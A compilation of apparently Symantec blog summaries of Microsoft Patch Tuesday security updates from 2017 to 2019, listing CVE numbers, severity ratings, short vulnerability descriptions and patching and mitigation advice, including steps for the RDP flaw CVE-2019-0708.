Microsoft COM for Windows Remote Code Execution Vulnerability (CVE-2018-0824) MS Rating: Important
A remote code execution vulnerability exists in Microsoft COM for Windows when it fails to properly handle serialized objects. An attacker who successfully exploited the vulnerability could use a specially crafted file or script to perform actions.
Windows Security Bypass Vulnerability (CVE-2018-0854) MS Rating: Important
A security bypass vulnerability exists in Windows Scripting Host which could allow an attacker to bypass Device Guard. An attacker who successfully exploited this vulnerability could circumvent a User Mode Code Integrity (UMCI) policy on the machine.
Windows Security Bypass Vulnerability (CVE-2018-0958) MS Rating: Important
A security bypass vulnerability exists in Windows which could allow an attacker to bypass Device Guard. An attacker who successfully exploited this vulnerability could circumvent a User Mode Code Integrity (UMCI) policy on the machine.
Windows Security Bypass Vulnerability (CVE-2018-1039) MS Rating: Important
A security bypass vulnerability exists in . Net Framework which could allow an attacker to bypass Device Guard.
Win32k Privilege Escalation Vulnerability (CVE-2018-8120) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Security Bypass Vulnerability (CVE-2018-8129) MS Rating: Important
A security bypass vulnerability exists in Windows which could allow an attacker to bypass Device Guard. An attacker who successfully exploited this vulnerability could circumvent a User Mode Code Integrity (UMCI) policy on the machine.
Windows Security Bypass Vulnerability (CVE-2018-8132) MS Rating: Important
A security bypass vulnerability exists in Windows which could allow an attacker to bypass Device Guard. An attacker who successfully exploited this vulnerability could circumvent a User Mode Code Integrity (UMCI) policy on the machine.
Windows Privilege Escalation Vulnerability (CVE-2018-8134) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Kernel API enforces permissions. An attacker who successfully exploited the vulnerability could impersonate processes, interject cross-process communication, or interrupt system functionality.
Windows Remote Code Execution Vulnerability (CVE-2018-8136) MS Rating: Low
A remote code execution vulnerability exists in the way that Windows handles objects in memory. An attacker who successfully exploited the vulnerability could execute arbitrary code with elevated permissions on a target system.
DirectX Graphics Kernel Privilege Escalation Vulnerability (CVE-2018-8165) MS Rating: Important
A privilege escalation vulnerability exists when the DirectX Graphics Kernel(DXGKRNL) driver improperly handles objects in memory.
Windows Common Log File System Driver Privilege Escalation Vulnerability (CVE-2018-8167) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Common Log File System (CLFS) driver improperly handles objects in memory.
Windows Image Privilege Escalation Vulnerability (CVE-2018-8170) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows kernel image handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Microsoft InfoPath Remote Code Execution Vulnerability (CVE-2018-8173) MS Rating: Important
A remote code execution vulnerability exists in Microsoft InfoPath when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Windows Security Bypass Vulnerability (CVE-2018-8142) MS Rating: Important
A security bypass exists when Windows incorrectly validates kernel driver signatures. An attacker who successfully exploited this vulnerability could bypass security features and load improperly signed drivers into the kernel.
Cumulative Security Update for Microsoft Azure IoT SDK
Azure IoT SDK Spoofing Vulnerability (CVE-2018-8119) MS Rating: Important
A spoofing vulnerability exists when the Azure IoT Device Provisioning AMQP Transport library improperly validates certificates over the AMQP protocol. An attacker who successfully exploited this vulnerability could impersonate a server used duing the provisioning process.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – May 2019
This month the vendor has patched 79 vulnerabilities, 22 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
IMPORTANT: Due to the severity of CVE-2019-0708, and the high likelihood of exploitation, Symantec recommends that customers apply patches immediately. If immediate patching is not possible, customers should take the following steps:
Disable Remote Desktop Services if not required
Block TCP port 3389 at the firewall
Enable Network Level Protection
UPDATE 05-22-2019: Symantec has released the following IPS signatures to detect and block attempts to exploit CVE-2019-0708:
31527 (OS Attack: Microsoft Windows Desktop Services RCE CVE-2019-0708)
31529 (OS Attack: Microsoft Windows Desktop Services RCE CVE-2019-0708 2)
Microsoft's summary of the May 2019 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
ChakraCore
Microsoft Office
Microsoft .NET
Microsoft Windows
Microsoft Remote Desktop Services
Graphics Device Interface (GDI)
Jet Database Engine
Team Foundation Server
Skype for Android
Azure
NuGet
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0911) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0912) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0913) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0914) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0915) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0916) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0917) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0918) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Spoofing Vulnerability (CVE-2019-0921) MS Rating: Important
A spoofing vulnerability exists when Internet Explorer improperly handles URLs. An attacker who successfully exploits this vulnerability could trick a user by redirecting the user to a specially crafted website.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0922) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0923) MS Rating: Important
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0924) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0925) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Memory Corruption Vulnerability (CVE-2019-0926) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0927) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Memory Corruption Vulnerability (CVE-2019-0929) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Information Disclosure Vulnerability (CVE-2019-0930) MS Rating: Important
An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker who successfully exploits this vulnerability could obtain information to further compromise the user's system.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0884) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0937) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Privilege Escalation Vulnerability (CVE-2019-0938) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Edge that could allow an attacker to escape from the AppContainer sandbox in the browser. An attacker who successfully exploits this vulnerability could gain elevated privileges and break out of the Edge AppContainer sandbox.
Microsoft Browser Memory Corruption Vulnerability (CVE-2019-0940) MS Rating: Critical
A remote code execution vulnerability exists in the way that Microsoft browsers access objects in memory. This vulnerability may corrupt memory in such a way that could allow an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0933) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Security Bypass Vulnerability (CVE-2019-0995) MS Rating: Important
A security bypass vulnerability exists when 'urlmon.dll' improperly handles certain Mark of the Web queries. The vulnerability allows Internet Explorer to bypass Mark of the Web warnings or restrictions for files downloaded or created in a specific way.
Cumulative Security Update for Microsoft Office
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability (CVE-2019-0945) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft Office Access Connectivity Engine improperly handles objects in memory. An attacker who successfully exploits this vulnerability could execute arbitrary code on a victim system.
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability (CVE-2019-0946) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft Office Access Connectivity Engine improperly handles objects in memory. An attacker who successfully exploits this vulnerability could execute arbitrary code on a victim system.
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability (CVE-2019-0947) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft Office Access Connectivity Engine improperly handles objects in memory. An attacker who successfully exploits this vulnerability could execute arbitrary code on a victim system.
Microsoft SharePoint Spoofing Vulnerability (CVE-2019-0949) MS Rating: Important
A spoofing vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Spoofing Vulnerability (CVE-2019-0950) MS Rating: Important
A spoofing vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Spoofing Vulnerability (CVE-2019-0951) MS Rating: Important
A spoofing vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Server Remote Code Execution Vulnerability (CVE-2019-0952) MS Rating: Important
A remote code execution vulnerability exists in Microsoft SharePoint Server when it fails to properly identify and filter unsafe ASP.NET web controls.
Microsoft Word Remote Code Execution Vulnerability (CVE-2019-0953) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft Word when it fails to properly handle objects in memory. An attacker who successfully exploits the vulnerability could use a specially crafted file to perform actions in the security context of the current user.
Microsoft SharePoint Server Information Disclosure Vulnerability (CVE-2019-0956) MS Rating: Important
An information disclosure vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2019-0957) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2019-0958) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2019-0963) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Cumulative Security Update for Microsoft .NET
.NET Framework and .NET Core Denial of Service Vulnerability (CVE-2019-0820) MS Rating: Important
A denial of service (DoS) vulnerability exists when .NET Framework and .NET Core improperly process RegEx strings. An attacker who successfully exploits this vulnerability could cause a denial of service against a .NET application.
.NET Framework Denial of Service Vulnerability (CVE-2019-0864) MS Rating: Important
A denial of service (DoS) vulnerability exists when .NET Framework improperly handles objects in heap memory. An attacker who successfully exploits this vulnerability could cause a denial of service against a .NET application.
ASP.NET Core Denial of Service Vulnerability (CVE-2019-0980) MS Rating: Important
A denial of service (DoS) vulnerability exists when ASP.NET Core improperly handles web requests. An attacker who successfully exploits this vulnerability could cause a denial of service against an ASP.NET Core web application.
ASP.NET Core Denial of Service Vulnerability (CVE-2019-0981) MS Rating: Important
A denial of service vulnerability (DoS) exists when ASP.NET Core improperly handles web requests. An attacker who successfully exploits this vulnerability could cause a denial of service against an ASP.NET Core web application.
ASP.NET Denial of Service Vulnerability (CVE-2019-0982) MS Rating: Important
A denial of service (DoS) vulnerability exists when ASP.NET improperly handles web requests. An attacker who successfully exploits this vulnerability could cause a denial of service against an ASP.NET web application.
NuGet Package Manager Tampering Vulnerability (CVE-2019-0976) MS Rating: Important
A tampering vulnerability exists in the NuGet Package Manager for Linux and Mac that could allow an authenticated attacker to modify a NuGet package's folder structure. An attacker who successfully exploits this vulnerability could potentially modify files and folders that are unpacked on a system.
Cumulative Security Update for Microsoft Windows Kernel
Windows Kernel Privilege Escalation Vulnerability (CVE-2019-0881) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Kernel improperly handles key enumeration. An attacker who successfully exploits the vulnerability could gain elevated privileges on a targeted system.
Win32k Privilege Escalation Vulnerability (CVE-2019-0892) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploits this vulnerability could run arbitrary code in kernel mode.
Cumulative Security Update for Microsoft Windows
Windows DHCP Server Remote Code Execution Vulnerability (CVE-2019-0725) MS Rating: Critical
A memory corruption vulnerability exists in the Windows Server DHCP service when processing specially crafted packets. An attacker who successfully exploits this vulnerability could run arbitrary code on the DHCP server.
Windows NDIS Privilege Escalation Vulnerability (CVE-2019-0707) MS Rating: Important
A privilege escalation vulnerability exists in the Network Driver Interface Specification (NDIS) when 'ndis.sys' fails to check the length of a buffer prior to copying memory to it.
Diagnostic Hub Standard Collector,Visual Studio Standard Collector Privilege Escalation Vulnerability (CVE-2019-0727) MS Rating: Important
A privilege escalation vulnerability exists when the Diagnostics Hub Standard Collector or the Visual Studio Standard Collector allows file deletion in arbitrary locations. To exploit the vulnerability, an attacker would first have to log on to the system.
Windows Defender Application Control Security Bypass Vulnerability (CVE-2019-0733) MS Rating: Important
A security bypass vulnerability exists in Windows Defender Application Control (WDAC) which could allow an attacker to bypass WDAC enforcement. An attacker who successfully exploits this vulnerability could circumvent Windows PowerShell Constrained Language Mode on the machine.
Windows Privilege Escalation Vulnerability (CVE-2019-0734) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Windows when a man-in-the-middle attacker is able to successfully decode and replace authentication requests using Kerberos, allowing an attacker to be validated as an Administrator. The update addresses this vulnerability by changing how these requests are validated.
Microsoft SQL Server Analysis Services Information Disclosure Vulnerability (CVE-2019-0819) MS Rating: Important
An information disclosure vulnerability exists in Microsoft SQL Server Analysis Services when it improperly enforces metadata permissions. An attacker who successfully exploits the vulnerability could query tables or columns for which they do not have access rights.
Windows Error Reporting Privilege Escalation Vulnerability (CVE-2019-0863) MS Rating: Important
A privilege escalation vulnerability exists in the way Windows Error Reporting (WER) handles files. An attacker who successfully exploits this vulnerability could run arbitrary code in kernel mode.
Windows OLE Remote Code Execution Vulnerability (CVE-2019-0885) MS Rating: Important
A remote code execution vulnerability exists when Microsoft Windows OLE fails to properly validate user input. An attacker could exploit the vulnerability to execute malicious code.
Windows Hyper-V Information Disclosure Vulnerability (CVE-2019-0886) MS Rating: Important
An information disclosure vulnerability exists when Windows Hyper-V on a host operating system fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker on a guest operating system could run a specially crafted application that could cause the Hyper-V host operating system to disclose memory information.
Windows Storage Service Privilege Escalation Vulnerability (CVE-2019-0931) MS Rating: Important
A privilege escalation vulnerability exists when the Storage Service improperly handles file operations. An attacker who successfully exploits this vulnerability could gain elevated privileges on the victim system.
Windows Privilege Escalation Vulnerability (CVE-2019-0936) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Windows when Windows fails to properly handle certain symbolic links. An attacker who successfully exploits this vulnerability could potentially set certain items to run at a higher level and thereby elevate permissions.
Unified Write Filter Privilege Escalation Vulnerability (CVE-2019-0942) MS Rating: Important
A privilege escalation vulnerability exists in the Unified Write Filter (UWF) feature for Windows 10 when it improperly restricts access to the registry. An attacker who successfully exploits the vulnerability could make changes to the registry keys protected by UWF without having administrator privileges.
Microsoft Dynamics On-Premise Security Bypass Vulnerability (CVE-2019-1008) MS Rating: Important
A security bypass vulnerability exists in Dynamics On Premise. An attacker who successfully exploits the vulnerability could send attachment types that are blocked by the email attachment system.
Security Update for Microsoft Remote Desktop Services
Remote Desktop Services Remote Code Execution Vulnerability (CVE-2019-0708) MS Rating: Critical
A remote code execution vulnerability exists in Remote Desktop Services when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction.
Security Update for Windows Graphics Device Interface (GDI)
GDI+ Remote Code Execution Vulnerability (CVE-2019-0903) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in memory. An attacker who successfully exploits this vulnerability could take control of the affected system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-0758) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploits the vulnerability could obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-0882) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploits the vulnerability could obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-0961) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploits the vulnerability could obtain information to further compromise the user's system.
Security Update for Skype for Android
Skype for Android Information Disclosure Vulnerability (CVE-2019-0932) MS Rating: Important
An information disclosure vulnerability exists in Skype for Android. An attacker who successfully exploits this vulnerability could listen to the conversation of a Skype for Android user without the user's knowledge.
Security Update for Jet Database Engine
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0889) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploits this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0890) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploits this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0891) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploits this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0893) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploits this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0894) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploits this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0895) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploits this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0896) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploits this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0897) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploits this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0898) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploits this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0899) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploits this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0900) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploits this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0901) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploits this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0902) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploits this vulnerability could execute arbitrary code on a victim system.
Security Update for Azure and Team Foundation Server
Azure DevOps Server and Team Foundation Server Cross-site Scripting Vulnerability (CVE-2019-0872) MS Rating: Important
A cross-site scripting (XSS) vulnerability exists when Azure DevOps Server and Team Foundation Server do not properly sanitize user provided input. An authenticated attacker could exploit the vulnerability by sending a specially crafted payload to an Azure DevOps server or a Team Foundation server, which will get executed in the context of the user every time a user visits the compromised page.
Microsoft Azure AD Connect Privilege Escalation Vulnerability (CVE-2019-1000) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Azure Active Directory Connect build 1.3.20.0, which allows an attacker to execute two PowerShell cmdlets in the context of a privileged account, and perform privileged actions.
Azure DevOps Server and Team Foundation Server Information Disclosure Vulnerability (CVE-2019-0971) MS Rating: Important
An information disclosure vulnerability exists when Azure DevOps Server and Microsoft Team Foundation Server do not properly sanitize a specially crafted authentication request to an affected server. An attacker who successfully exploits this vulnerability could execute malicious code on a vulnerable server.
Azure DevOps Server and Team Foundation Server Cross-site Scripting Vulnerability (CVE-2019-0979) MS Rating: Important
A cross-site scripting (XSS) vulnerability exists when Azure DevOps Server and Team Foundation Server do not properly sanitize user-provided input. An authenticated attacker could exploit this vulnerability by sending a specially crafted payload to an Azure DevOps server or a Team Foundation server, which will get executed in the context of the user every time a user visits the compromised page.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – November 2017
This month the vendor has patched 53 vulnerabilities, 19 of which are rated Critical.
Hello, welcome to this month's blog on the Microsoft patch release. This month the vendor has patched 53 vulnerabilities, 19 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the November 2017 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Microsoft Browsers
Microsoft Office
ASP.NET
Windows Kernel
Windows Graphics Component
Windows Media Player
Microsoft Windows
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11858) MS Rating: Critical
A remote code execution vulnerability exists in the way that Microsoft browsers access objects in memory. The vulnerability could corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11861) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11862) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11836) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11837) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11838) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11839) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11840) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11841) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11843) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11866) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11846) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11869) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11870) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2017-11871) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
